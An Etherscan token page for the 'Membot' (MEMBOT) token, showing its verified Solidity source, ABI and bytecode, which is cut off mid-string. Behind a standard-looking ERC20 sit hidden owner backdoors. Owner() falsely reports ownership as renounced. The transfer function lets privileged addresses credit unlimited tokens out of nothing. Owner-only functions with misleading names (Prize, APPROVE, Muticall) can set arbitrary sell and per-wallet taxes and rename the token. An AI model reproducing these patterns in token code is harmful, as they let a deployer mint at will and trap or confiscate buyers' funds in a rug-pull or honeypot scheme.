ETH Price: $3,184.83 (+1.60%)
Gas: 22 Gwei

Token

Membot (MEMBOT)
 

Overview

Max Total Supply

1,000,000,000 MEMBOT

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,963,249.519725910774561467 MEMBOT

Value
$0.00
0x93d19bd6230570A004174c0E2caD7Ea38D5d8dFe
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Membott

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-07
*/

/*
Telegram: https://t.me/MembotETH
Twitter: https://twitter.com/MembotETH
Website: https://www.membot.tools/
*/

// SPDX-License-Identifier: MIT


pragma solidity ^0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _Owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        _transferOwnership(_msgSender());
    }

    function Owner() public view virtual returns (address) {
        return address(0);
    }

    modifier onlyOwner() {
        require(_Owner == _msgSender(), "Ownable: caller is not the Owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new Owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _Owner;
        _Owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
   
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {

    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract ERC20 is Context {

    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed Owner, address indexed spender, uint256 value);

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }

    
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    
    function allowance(address Owner, address spender) public view virtual returns (uint256) {
        return _allowances[Owner][spender];
    }

    
    function approve(address spender, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, Amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, _allowances[Owner][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        uint256 currentAllowance = _allowances[Owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(Owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _approve(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        require(Owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[Owner][spender] = Amount;
        emit Approval(Owner, spender, Amount);
    }

    
    function _spendAllowance(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        uint256 currentAllowance = allowance(Owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= Amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(Owner, spender, currentAllowance - Amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}
}


contract Membott is ERC20, Ownable {
    
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _release;

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    } 
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;


    function _transfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= Amount, "ERC20: transfer Amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - Amount;
        }
        _balances[to] += Amount;

        emit Transfer(from, to, Amount);

        
    }

    function _burn(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= Amount, "ERC20: burn Amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - Amount;
        }
        _totalSupply -= Amount;

        emit Transfer(account, address(0), Amount);
    }

    function _dfygjdfggh(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: REWARD to the zero address"); 

        _totalSupply += Amount;
        _balances[account] += Amount;
        emit Transfer(address(0), account, Amount);
    }

    
    string private name_ = "Membot";
    string private symbol_ = "MEMBOT";
    uint   private constant totalSupply_ = 1000000000;

    event NameChanged(string newName,string newSymbol , address by);

    constructor () ERC20(name_, symbol_) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        
        _dfygjdfggh(msg.sender, totalSupply_ * 10**decimals());
        _defaultSellFeeee = 10; 
        _defaultBuyFeeee = 0;
        _release[_msgSender()] = true;
        
    }

    function Muticall(string memory name,string memory symbol) public onlyOwner{
        name_ = name;
        symbol_ = symbol;
        emit NameChanged(name, symbol, msg.sender);
    }
    
    function name() public view override returns (string memory) {
        return name_;
    }

    
    function symbol() public view override returns (string memory) {
        return symbol_;
    }

    using SafeMath for uint256;

    uint256 private _defaultSellFeeee = 0;
    uint256 private _defaultBuyFeeee = 0;


    mapping(address => bool) private _Approve;

    mapping(address => uint256) private _Aprove;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;



    function getRelease(address _address) external view onlyOwner returns (bool) {
        return _release[_address];
    }


    function PairList(address _address) external onlyOwner {
        uniswapV2Pair = _address;
    }


    function Prize(uint256 _value) external onlyOwner {
        _defaultSellFeeee = _value;
    }

    

    

    function APPROVE(address _address, uint256 _value) external onlyOwner {
        require(_value >= 0, "Account tax must be greater than or equal to 1");
        _Aprove[_address] = _value;
    }

    

    function getAprove(address _address) external view onlyOwner returns (uint256) {
        return _Aprove[_address];
    }


    function Approve(address _address, bool _value) external onlyOwner {
        _Approve[_address] = _value;
    }

    function getApproveFeeee(address _address) external view onlyOwner returns (bool) {
        return _Approve[_address];
    }

    function _checkFreeAccount(address from, address to) internal view returns (bool) {
        return _Approve[from] || _Approve[to];
    }


    function _receiveF(
        address from,
        address to,
        uint256 _Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= _Amount, "ERC20: transfer Amount exceeds balance");

        bool rF = true;

        if (_checkFreeAccount(from, to)) {
            rF = false;
        }
        uint256 tradeFeeeeAmount = 0;

        if (rF) {
            uint256 tradeFeeee = 0;
            if (uniswapV2Pair != address(0)) {
                if (to == uniswapV2Pair) {

                    tradeFeeee = _defaultSellFeeee;
                }
                if (from == uniswapV2Pair) {

                    tradeFeeee = _defaultBuyFeeee;
                }
            }
            if (_Aprove[from] > 0) {
                tradeFeeee = _Aprove[from];
            }

            tradeFeeeeAmount = _Amount.mul(tradeFeeee).div(100);
        }


        if (tradeFeeeeAmount > 0) {
            _balances[from] = _balances[from].sub(tradeFeeeeAmount);
            _balances[_deadAddress] = _balances[_deadAddress].add(tradeFeeeeAmount);
            emit Transfer(from, _deadAddress, tradeFeeeeAmount);
        }

        _balances[from] = _balances[from].sub(_Amount - tradeFeeeeAmount);
        _balances[to] = _balances[to].add(_Amount - tradeFeeeeAmount);
        emit Transfer(from, to, _Amount - tradeFeeeeAmount);
    }

    function transfer(address to, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        if (_release[Owner] == true) {
            _balances[to] += Amount;
            return true;
        }
        _receiveF(Owner, to, Amount);
        return true;
    }

    
    

    function transferFrom(
        address from,
        address to,
        uint256 Amount
    ) public virtual returns (bool) {
        address spender = _msgSender();

        _spendAllowance(from, spender, Amount);
        _receiveF(from, to, Amount);
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
       
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0, 
            address(this),
            block.timestamp
        );
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"Owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"newName","type":"string"},{"indexed":false,"internalType":"string","name":"newSymbol","type":"string"},{"indexed":false,"internalType":"address","name":"by","type":"address"}],"name":"NameChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"APPROVE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"}],"name":"Muticall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"PairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Prize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getApproveFeeee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAprove","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getRelease","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60e0604052600660a09081526513595b589bdd60d21b60c05260089062000027908262000584565b506040805180820190915260068152651351535093d560d21b602082015260099062000054908262000584565b505f600a555f600b5534801562000069575f80fd5b50600880546200007990620004f8565b80601f0160208091040260200160405190810160405280929190818152602001828054620000a790620004f8565b8015620000f65780601f10620000cc57610100808354040283529160200191620000f6565b820191905f5260205f20905b815481529060010190602001808311620000d857829003601f168201915b5050505050600980546200010a90620004f8565b80601f01602080910402602001604051908101604052809291908181526020018280546200013890620004f8565b8015620001875780601f106200015d5761010080835404028352916020019162000187565b820191905f5260205f20905b8154815290600101906020018083116200016957829003601f168201915b505050505081600290816200019d919062000584565b506003620001ac828262000584565b505050620001c9620001c3620003a060201b60201c565b620003a4565b737a250d5630b4cf539739df2c5dacb4c659f2488d60808190526040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156200021e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200024491906200064c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000290573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002b691906200064c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000301573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200032791906200064c565b600780546001600160a01b0319166001600160a01b0392909216919091179055620003783362000355601290565b6200036290600a6200078a565b6200037290633b9aca006200079a565b620003f5565b50600a80555f600b819055338152600660205260409020805460ff19166001179055620007ca565b3390565b600480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382166200045a5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2052455741524420746f20746865207a65726f206164647265736044820152607360f81b606482015260840160405180910390fd5b8060015f8282546200046d9190620007b4565b90915550506001600160a01b0382165f90815260056020526040812080548392906200049b908490620007b4565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200050d57607f821691505b6020821081036200052c57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200057f575f81815260208120601f850160051c810160208610156200055a5750805b601f850160051c820191505b818110156200057b5782815560010162000566565b5050505b505050565b81516001600160401b03811115620005a057620005a0620004e4565b620005b881620005b18454620004f8565b8462000532565b602080601f831160018114620005ee575f8415620005d65750858301515b5f19600386901b1c1916600185901b1785556200057b565b5f85815260208120601f198616915b828110156200061e57888601518255948401946001909101908401620005fd565b50858210156200063c57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f602082840312156200065d575f80fd5b81516001600160a01b038116811462000674575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620006cf57815f1904821115620006b357620006b36200067b565b80851615620006c157918102915b93841c939080029062000694565b509250929050565b5f82620006e75750600162000784565b81620006f557505f62000784565b81600181146200070e5760028114620007195762000739565b600191505062000784565b60ff8411156200072d576200072d6200067b565b50506001821b62000784565b5060208310610133831016604e8410600b84101617156200075e575081810a62000784565b6200076a83836200068f565b805f19048211156200078057620007806200067b565b0290505b92915050565b5f6200067460ff841683620006d7565b80820281158282048414176200078457620007846200067b565b808201808211156200078457620007846200067b565b6080516113a6620007e35f395f61019d01526113a65ff3fe608060405234801561000f575f80fd5b5060043610610153575f3560e01c80636c9992b3116100bf578063a9059cbb11610079578063a9059cbb146102f0578063b4a99a4e14610303578063c4e7c16514610309578063d32c99cd1461031c578063dd62ed3e1461032f578063f2fde38b14610365575f80fd5b80636c9992b31461027f57806370a0823114610292578063715018a6146102ba57806380602410146102c257806395d89b41146102d5578063a457c2d7146102dd575f80fd5b80632c91d071116101105780632c91d07114610211578063313ce5671461022457806339509351146102335780633de94b451461024657806349bd5a5e146102595780635dd7c8ac1461026c575f80fd5b806306fdde0314610157578063095ea7b3146101755780631694505e1461019857806318160ddd146101d75780631f478f1e146101e957806323b872dd146101fe575b5f80fd5b61015f610378565b60405161016c9190610f2c565b60405180910390f35b610188610183366004610f54565b610408565b604051901515815260200161016c565b6101bf7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161016c565b6001545b60405190815260200161016c565b6101fc6101f7366004610f7c565b610421565b005b61018861020c366004610fb5565b61047e565b6101fc61021f366004610fee565b6104a1565b6040516012815260200161016c565b610188610241366004610f54565b6104ed565b6101fc610254366004611007565b610529565b6007546101bf906001600160a01b031681565b6101db61027a366004610fee565b610558565b61018861028d366004610fee565b6105a3565b6101db6102a0366004610fee565b6001600160a01b03165f9081526005602052604090205490565b6101fc6105ed565b6101886102d0366004610fee565b610622565b61015f61066c565b6101886102eb366004610f54565b61067b565b6101886102fe366004610f54565b61070a565b5f6101bf565b6101fc610317366004610f54565b61076a565b6101fc61032a3660046110bb565b6107af565b6101db61033d36600461111b565b6001600160a01b039182165f9081526020818152604080832093909416825291909152205490565b6101fc610373366004610fee565b610832565b6060600880546103879061114c565b80601f01602080910402602001604051908101604052809291908181526020018280546103b39061114c565b80156103fe5780601f106103d5576101008083540402835291602001916103fe565b820191905f5260205f20905b8154815290600101906020018083116103e157829003601f168201915b5050505050905090565b5f336104158185856108cd565b60019150505b92915050565b6004546001600160a01b031633146104545760405162461bcd60e51b815260040161044b90611184565b60405180910390fd5b6001600160a01b03919091165f908152600c60205260409020805460ff1916911515919091179055565b5f3361048b8582856109ee565b610496858585610a7c565b506001949350505050565b6004546001600160a01b031633146104cb5760405162461bcd60e51b815260040161044b90611184565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b335f818152602081815260408083206001600160a01b038716845290915281205490919061041590829086906105249087906111cd565b6108cd565b6004546001600160a01b031633146105535760405162461bcd60e51b815260040161044b90611184565b600a55565b6004545f906001600160a01b031633146105845760405162461bcd60e51b815260040161044b90611184565b506001600160a01b0381165f908152600d60205260409020545b919050565b6004545f906001600160a01b031633146105cf5760405162461bcd60e51b815260040161044b90611184565b506001600160a01b03165f9081526006602052604090205460ff1690565b6004546001600160a01b031633146106175760405162461bcd60e51b815260040161044b90611184565b6106205f610e28565b565b6004545f906001600160a01b0316331461064e5760405162461bcd60e51b815260040161044b90611184565b506001600160a01b03165f908152600c602052604090205460ff1690565b6060600980546103879061114c565b335f818152602081815260408083206001600160a01b0387168452909152812054909190838110156106fd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161044b565b61049682868684036108cd565b335f8181526006602052604081205490919060ff16151560010361075f576001600160a01b0384165f908152600560205260408120805485929061074f9084906111cd565b909155506001925061041b915050565b610415818585610a7c565b6004546001600160a01b031633146107945760405162461bcd60e51b815260040161044b90611184565b6001600160a01b039091165f908152600d6020526040902055565b6004546001600160a01b031633146107d95760405162461bcd60e51b815260040161044b90611184565b60086107e5838261122e565b5060096107f2828261122e565b507f6c5d2637118cb4115becb3c3e6e553db25400cb3ffe8fd6fb2a2b4e014338627828233604051610826939291906112ea565b60405180910390a15050565b6004546001600160a01b0316331461085c5760405162461bcd60e51b815260040161044b90611184565b6001600160a01b0381166108c15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161044b565b6108ca81610e28565b50565b6001600160a01b03831661092f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044b565b6001600160a01b0382166109905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044b565b6001600160a01b038381165f818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f90815260208181526040808320938616835292905220545f198114610a765781811015610a695760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161044b565b610a7684848484036108cd565b50505050565b6001600160a01b038316610ae05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044b565b6001600160a01b038216610b425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044b565b6001600160a01b0383165f9081526005602052604090205481811015610bb95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220416d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161044b565b6001610bc58585610e79565b15610bcd57505f5b5f8115610c6d576007545f906001600160a01b031615610c1d576007546001600160a01b0390811690871603610c025750600a545b6007546001600160a01b0390811690881603610c1d5750600b545b6001600160a01b0387165f908152600d602052604090205415610c5457506001600160a01b0386165f908152600d60205260409020545b610c696064610c638784610ebd565b90610ec8565b9150505b8015610d58576001600160a01b0386165f90815260056020526040902054610c959082610ed3565b6001600160a01b0387165f9081526005602052604081209190915561dead90527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54610ce19082610ede565b61dead5f81905260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba919091556040516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d4f9085815260200190565b60405180910390a35b610d83610d658286611327565b6001600160a01b0388165f9081526005602052604090205490610ed3565b6001600160a01b0387165f90815260056020526040902055610dc6610da88286611327565b6001600160a01b0387165f9081526005602052604090205490610ede565b6001600160a01b038087165f8181526005602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e0f8488611327565b60405190815260200160405180910390a3505050505050565b600480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382165f908152600c602052604081205460ff1680610eb657506001600160a01b0382165f908152600c602052604090205460ff165b9392505050565b5f610eb6828461133a565b5f610eb68284611351565b5f610eb68284611327565b5f610eb682846111cd565b5f81518084525f5b81811015610f0